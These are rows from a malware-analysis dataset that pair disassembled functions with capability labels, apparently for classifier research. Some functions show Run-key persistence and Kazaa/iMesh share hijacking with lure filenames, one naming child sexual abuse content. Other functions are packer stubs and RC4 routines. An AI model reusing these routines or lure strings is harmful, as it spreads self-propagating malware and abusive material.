joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4235f9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
cmp dword [esi], edi
je 0x423628
cmp dword [esi + 4], edi
jbe 0x423621
mov eax, dword [esi]
mov eax, dword [eax + edi*8]
test eax, eax
je 0x42361b
push eax
call 0x44f8fa
inc edi
cmp edi, dword [esi + 4]
jb 0x42360c
push dword [esi]
call 0x451c08
push ebx
xor ebx, ebx
mov edi, 0xe0
cmp dword [esi + 8], ebx
je 0x42365a
cmp dword [esi + 0xc], ebx
jbe 0x423652
mov dword [ebp + 8], ebx
mov eax, dword [esi + 8]
add eax, dword [ebp + 8]
push eax
call fcn.00423526
add dword [ebp + 8], edi
inc ebx
cmp ebx, dword [esi + 0xc]
jb 0x42363d
push dword [esi + 8]
call 0x451c08
xor ebx, ebx
cmp dword [esi + 0x10], ebx
je 0x423686
cmp dword [esi + 0x14], ebx
jbe 0x42367e
and dword [ebp + 8], ebx
mov eax, dword [esi + 0x10]
add eax, dword [ebp + 8]
push eax
call fcn.00423526
add dword [ebp + 8], edi
inc ebx
cmp ebx, dword [esi + 0x14]
jb 0x423669
push dword [esi + 0x10]
call 0x451c08
xor edi, edi
pop ebx
cmp dword [esi + 0x18], edi
je 0x4236b1
cmp dword [esi + 0x1c], edi
jbe 0x4236a9
mov eax, dword [esi + 0x18]
mov eax, dword [eax + edi*8]
test dword [edi + 0x65], eax
je 0x4236cb
push ebp
outsb dx, byte [esi]
imul ebp, dword [esi + 0x73], 0x6c6c6174
push edx
imul esi, dword gs:[bp + di + 0x74], 0x654b7972
imul esi, dword [bp + di + 0x74], 0x654b7972
jns 0x4236e1
jo 0x423728
xor dword [eax], eax
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add byte [ecx + 0x40], al
add byte [eax], al
add byte [esi + 0x2e000011], dh
adc dword [eax], eax
add byte [esi], ch
adc al, 0
add byte [0x516aede9], bl
cmp edi, dword [eax]
pop esp
add dword [edi - 0x7e818284], 0x383b8177
dec esi
dec esi
dec esi
cmp dword [ebx], 0x4e4e4e38
dec esi
adc byte [ebx - 0x6c685f5e], 0xa4
xchg ebx, eax
dec esi
mov al, byte [0xa1979593]
mov byte [0x994ea7a0], al
xchg ebx, eax
cmpsd dword [esi], dword es:[edi]
push esi
mov eax, dword [0x9d944e57]
mov al, byte [0xa1a7a14e]
mov byte [0x975b9b93], al
pushfd
mov eax, dword [0x9a9a8fa2]
xchg ebx, eax
xchg edx, eax
dec esi
invalid
invalid
Function at 0x401171
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp dword [ebp - 4], 0
jne 0x401191
jmp 0x4011e7
push str._256mb_32bit
mov ecx, dword [0x409ee4]
push ecx
call fcn.00402290
add esp, 8
mov edx, dword [0x409ee4]
push edx
call fcn.00401537
add esp, 4
mov eax, dword [0x409ee4]
push eax
call fcn.00402200
add esp, 4
push eax
mov ecx, dword [0x409ee4]
push ecx
push 1
push 0
push str.VMIntel386
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x401380
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.004026e0
push 0x800
lea eax, [ebp - 0x800]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x800]
push ecx
call fcn.004014f7
add esp, 4
push 0x800
lea edx, [ebp - 0x1004]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x1004]
push eax
call fcn.004014f7
add esp, 4
push str._Intelx386
lea ecx, [ebp - 0x1004]
push ecx
call fcn.00402290
add esp, 8
lea edx, [ebp - 0x1004]
push edx
call fcn.00406a86
add esp, 4
lea eax, [ebp - 0x1004]
push eax
call fcn.00402200
add esp, 4
add eax, 0x32
push eax
call fcn.00402666
add esp, 4
mov dword [0x409ee4], eax
lea ecx, [ebp - 0x1004]
push ecx
mov edx, dword [0x409ee4]
push edx
call fcn.00402280
add esp, 8
push str._VMIntel386.exe
mov eax, dword [0x409ee4]
push eax
call fcn.00402290
add esp, 8
mov dword [ebp - 0x804], 0
jmp 0x40145f
mov ecx, dword [ebp - 0x804]
add ecx, 1
mov dword [ebp - 0x804], ecx
mov edx, dword [ebp - 0x804]
imul edx, edx, 0x44
movsx eax, byte [edx + str.Winamp_5.0__full_version_.exe]
test eax, eax
je 0x4014ab
mov ecx, dword [ebp - 0x804]
imul ecx, ecx, 0x44
add ecx, str.Winamp_5.0__full_version_.exe
push ecx
mov edx, dword [ebp - 0x804]
imul edx, edx, 0x44
mov eax, dword [edx + 0x408220]
push eax
lea ecx, [ebp - 0x1004]
push ecx
lea edx, [ebp - 0x800]
push edx
call fcn.004011eb
add esp, 0x10
jmp 0x401450
push str.Pack_sex_very_hot_nude_young_girl_porn_erotic_private_pussy_rape_clitoris_suck_chicas_fotos_culos_tetas_co
push 0xc47cb2
lea eax, [ebp - 0x1004]
push eax
lea ecx, [ebp - 0x800]
push ecx
call fcn.004011eb
add esp, 0x10
push str._._
lea edx, [ebp - 0x1004]
push edx
call fcn.00402290
add esp, 8
push 0x5f5e0ff
lea eax, [ebp - 0x1004]
push eax
call fcn.00401a65
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x401e43
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
mov eax, dword [0x409524]
mov dword [ebp - 0xc], eax
mov ecx, dword [0x409528]
mov dword [ebp - 8], ecx
mov dx, word [0x40952c]
mov word [ebp - 4], dx
mov byte [ebp - 0x3f8], 0x43
mov dword [ebp - 0x3fc], 0
lea eax, [ebp - 0x400]
push eax
push str.SOFTWAREKazaaLocalContent
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp dword [ebp - 0x400], 0
jne 0x401e9e
jmp 0x401fbe
mov ecx, dword [0x409ed8]
mov edx, dword [ecx]
push edx
push 0x40954c
lea eax, [ebp - 0x3f4]
push eax
call fcn.00402614
add esp, 0xc
lea ecx, [ebp - 0x3f4]
push ecx
call fcn.00402200
add esp, 4
push eax
lea edx, [ebp - 0x3f4]
push edx
push 1
push 0
push 0x409558
mov eax, dword [ebp - 0x400]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x3fc]
push ecx
push 4
push 0
push 0x409560
mov edx, dword [ebp - 0x400]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov byte [ebp - 0x3f8], 0x43
jmp 0x401f1e
mov al, byte [ebp - 0x3f8]
add al, 1
mov byte [ebp - 0x3f8], al
movsx ecx, byte [ebp - 0x3f8]
cmp ecx, 0x5a
jge 0x401f7d
mov dl, byte [ebp - 0x3f8]
mov byte [ebp - 5], dl
movsx eax, byte [ebp - 0x3f8]
sub eax, 0x42
push eax
push 0x409570
lea ecx, [ebp - 0x3f4]
push ecx
call fcn.00402614
add esp, 0xc
lea edx, [ebp - 0xc]
push edx
call fcn.00402200
add esp, 4
push eax
lea eax, [ebp - 0xc]
push eax
push 1
push 0
lea ecx, [ebp - 0x3f4]
push ecx
mov edx, dword [ebp - 0x400]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x401f10
mov eax, dword [ebp - 0x400]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x400]
push ecx
push str.SOFTWAREKazaaUserDetails
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x16
push 0x409594
push 1
push 0
push 0x4095ac
mov edx, dword [ebp - 0x400]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret
Function at 0x401fc2
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
mov eax, dword [str.012345:_:]
mov dword [ebp - 0xc], eax
mov ecx, dword [0x4095b8]
mov dword [ebp - 8], ecx
mov dx, word [0x4095bc]
mov word [ebp - 4], dx
mov byte [ebp - 0x3f8], 0x43
mov dword [ebp - 0x3fc], 0
lea eax, [ebp - 0x400]
push eax
push str.SOFTWAREIMeshClientLocalContent
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp dword [ebp - 0x400], 0
jne 0x40201d
jmp 0x40213d
mov ecx, dword [0x409ed8]
mov edx, dword [ecx]
push edx
push str.012345:_s
lea eax, [ebp - 0x3f4]
push eax
call fcn.00402614
add esp, 0xc
lea ecx, [ebp - 0x3f4]
push ecx
call fcn.00402200
add esp, 4
push eax
lea edx, [ebp - 0x3f4]
push edx
push 1
push 0
push str.Dir0
mov eax, dword [ebp - 0x400]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x3fc]
push ecx
push 4
push 0
push str.DisableSharing
mov edx, dword [ebp - 0x400]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov byte [ebp - 0x3f8], 0x43
jmp 0x40209d
mov al, byte [ebp - 0x3f8]
add al, 1
mov byte [ebp - 0x3f8], al
movsx ecx, byte [ebp - 0x3f8]
cmp ecx, 0x5a
jge 0x4020fc
mov dl, byte [ebp - 0x3f8]
mov byte [ebp - 5], dl
movsx eax, byte [ebp - 0x3f8]
sub eax, 0x42
push eax
push str.Dir_d
lea ecx, [ebp - 0x3f4]
push ecx
call fcn.00402614
add esp, 0xc
lea edx, [ebp - 0xc]
push edx
call fcn.00402200
add esp, 4
push eax
lea eax, [ebp - 0xc]
push eax
push 1
push 0
lea ecx, [ebp - 0x3f4]
push ecx
mov edx, dword [ebp - 0x400]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x40208f
mov eax, dword [ebp - 0x400]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x400]
push ecx
push str.SOFTWAREIMeshClientUserDetails
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x16
push str.QueBonito_Compartir.es
push 1
push 0
push str.Email
mov edx, dword [ebp - 0x400]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret
Function at 0x40516d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x409718
cmp edx, dword [eax]
je 0x40518f
add eax, 8
inc ecx
cmp eax, 0x4097a8
jl 0x405180
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x409718]
jne 0x4052bd
mov eax, dword [0x409ef0]
cmp eax, 1
je 0x405297
test eax, eax
jne 0x4051c0
cmp dword [0x409664], 1
je 0x405297
cmp edx, 0xfc
je 0x4052bd
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4051f7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00402280
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00402200
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40523a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00402200
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40743c
push edi
call fcn.004062f0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00402280
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00402290
lea eax, [ebp - 0xa0]
push 0x40741c
push eax
call fcn.00402290
push dword [esi + 0x40971c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00402290
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00406267
add esp, 0x2c
pop edi
jmp 0x4052bd
lea eax, [ebp + 8]
lea esi, [esi + 0x40971c]
push 0
push eax
push dword [esi]
call fcn.00402200
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x4677e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
jmp 0x4677fa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x467801
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4677f0
mov eax, 1
add ebx, ebx
jne 0x467813
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x467824
jne 0x467843
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x467843
dec eax
add ebx, ebx
jne 0x467830
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x467808
add ebx, ebx
jne 0x46783f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x467895
xor ecx, ecx
sub eax, 3
jb 0x46785b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4678ca
sar eax, 1
mov ebp, eax
jmp 0x467866
add ebx, ebx
jne 0x467866
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x467834
inc ecx
add ebx, ebx
jne 0x467874
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x467834
add ebx, ebx
jne 0x467881
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x467876
jne 0x467892
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x467876
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4678b4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4678a6
jmp 0x4677f6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4678b4
add edi, ecx
jmp 0x4677f6
pop esi
mov edi, esi
mov ecx, 4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4678d2
cmp byte [edi], 0
jne 0x4678d2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4678d7
mov ebp, dword [esi + 0x676d4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x467932
sub esp, 0xffffff80
jmp 0x407c28
Function at 0xc05790
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x15000]
push edi
jmp 0xc057aa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xc057b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc057a0
mov eax, 1
add ebx, ebx
jne 0xc057c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xc057b8
jne 0xc057d4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xc057b8
xor ecx, ecx
sub eax, 3
jb 0xc057e8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xc0585a
mov ebp, eax
add ebx, ebx
jne 0xc057f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0xc05800
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0xc05824
inc ecx
add ebx, ebx
jne 0xc05810
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xc05805
jne 0xc05821
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xc05805
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xc05844
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xc05835
jmp 0xc057a6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xc05844
add edi, ecx
jmp 0xc057a6
pop esi
mov edi, esi
mov ecx, 0x1011
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xc05862
cmp byte [edi], 9
jne 0xc05862
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xc05867
lea edi, [esi + 0x23000]
mov eax, dword [edi]
or eax, eax
je 0xc058d6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x25000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x25028]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xc05894
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2502c]
or eax, eax
je 0xc058d0
mov dword [ebx], eax
add ebx, 4
jmp 0xc058b1
call dword [esi + 0x2503c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0xc05907
cmp al, 0xef
ja 0xc058fa
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0xc058dc
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0xc058e9
mov ebp, dword [esi + 0x25030]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xc0593b
sub esp, 0xffffff80
jmp 0xbf504e
Function at 0x10001b00
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x1000b078]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
xor edi, edi
push 0x3fc
lea eax, [ebp - 0x400]
push edi
push eax
mov ebx, ecx
mov dword [ebp - 0x404], edi
call fcn.100056d0
add esp, 0xc
xor ecx, ecx
xor edx, edx
mov eax, ecx
div ebx
mov byte [esi + ecx], cl
inc ecx
movzx edx, byte [edx + str.4as4df64q6fa1sdfa31]
mov dword [ebp + ecx*4 - 0x408], edx
cmp ecx, 0x100
jl 0x10001b36
xor eax, eax
jmp 0x10001b60
mov cl, byte [esi + eax]
mov ebx, dword [ebp + eax*4 - 0x404]
movzx edx, cl
add ebx, edx
add edi, ebx
and edi, 0x800000ff
jns 0x10001b81
dec edi
or edi, 0xffffff00
inc edi
mov dl, byte [esi + edi]
mov byte [esi + eax], dl
inc eax
mov byte [esi + edi], cl
cmp eax, 0x100
jl 0x10001b60
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.10001d0c
mov esp, ebp
pop ebp
ret

Function at 0x10001bb0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor ecx, ecx
xor esi, esi
xor edi, edi
cmp dword [ebp + 0xc], ecx
jbe 0x10001c1e
push ebx
inc ecx
and ecx, 0x800000ff
jns 0x10001bd2
dec ecx
or ecx, 0xffffff00
inc ecx
mov dl, byte [ecx + eax]
movzx ebx, dl
add esi, ebx
and esi, 0x800000ff
jns 0x10001bea
dec esi
or esi, 0xffffff00
inc esi
movzx ebx, byte [esi + eax]
mov byte [ecx + eax], bl
mov byte [esi + eax], dl
movzx ebx, byte [ecx + eax]
movzx edx, dl
add ebx, edx
and ebx, 0x800000ff
jns 0x10001c0d
dec ebx
or ebx, 0xffffff00
inc ebx
movzx ebx, byte [ebx + eax]
mov edx, dword [ebp + 8]
xor byte [edi + edx], bl
inc edi
cmp edi, dword [ebp + 0xc]
jb 0x10001bc1
pop ebx
pop edi
pop esi
pop ebp
ret 8

Function at 0x10001d0c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000b078]
jne 0x10001d16
repz ret
jmp fcn.10002566
Function at 0x1000574a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1000b078]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10002ba9
and dword [ebp - 0x14], 0
cmp dword [0x1000c8a8], 0
mov dword [ebp - 0x18], eax
jne 0x100057fd
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x100058a5
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x100058a5
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1000c8a8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1000c8ac], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1000c8b0], eax
call edi
push eax
call esi
mov dword [0x1000c8b8], eax
test eax, eax
je 0x100057fd
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1000c8b4], eax
mov eax, dword [0x1000c8b4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10005856
cmp dword [0x1000c8b8], ecx
je 0x10005856
push eax
call esi
push dword [0x1000c8b8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10005856
test ebx, ebx
je 0x10005856
call edi
test eax, eax
je 0x1000584d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000584d
test byte [ebp - 8], 1
jne 0x10005856
or dword [ebp + 0x10], 0x200000
jmp 0x10005889
mov eax, dword [0x1000c8ac]
cmp eax, dword [ebp - 0x18]
je 0x10005889
push eax
call esi
test eax, eax
je 0x10005889
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10005889
mov eax, dword [0x1000c8b0]
cmp eax, dword [ebp - 0x18]
je 0x10005889
push eax
call esi
test eax, eax
je 0x10005889
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1000c8a8]
call esi
test eax, eax
je 0x100058a5
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x100058a7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001d0c
leave
ret
Function at 0x410b28
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041099e
Function at 0xa53680
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc3000]
push edi
jmp 0xa5369a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xa536a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa53690
mov eax, 1
add ebx, ebx
jne 0xa536b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xa536c4
jne 0xa536e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa536e3
dec eax
add ebx, ebx
jne 0xa536d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xa536a8
add ebx, ebx
jne 0xa536df
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xa53735
xor ecx, ecx
sub eax, 3
jb 0xa536fb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xa5376a
sar eax, 1
mov ebp, eax
jmp 0xa53706
add ebx, ebx
jne 0xa53706
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa536d4
inc ecx
add ebx, ebx
jne 0xa53714
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa536d4
add ebx, ebx
jne 0xa53721
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xa53716
jne 0xa53732
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xa53716
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xa53754
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xa53746
jmp 0xa53696
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xa53754
add edi, ecx
jmp 0xa53696
pop esi
mov edi, esi
mov ecx, 0x4ad5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xa53772
cmp byte [edi], 0x1e
jne 0xa53772
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xa53777
lea edi, [esi + 0x650000]
mov eax, dword [edi]
or eax, eax
je 0xa537ef
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x6565d4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x656720]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xa537a4
mov ecx, edi
jns 0xa537d3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x656728]
or eax, eax
je 0xa537e9
mov dword [ebx], eax
add ebx, 4
jmp 0xa537c1
call dword [esi + 0x656724]
mov ebp, dword [esi + 0x65672c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xa53823
sub esp, 0xffffff80
jmp 0x4a8183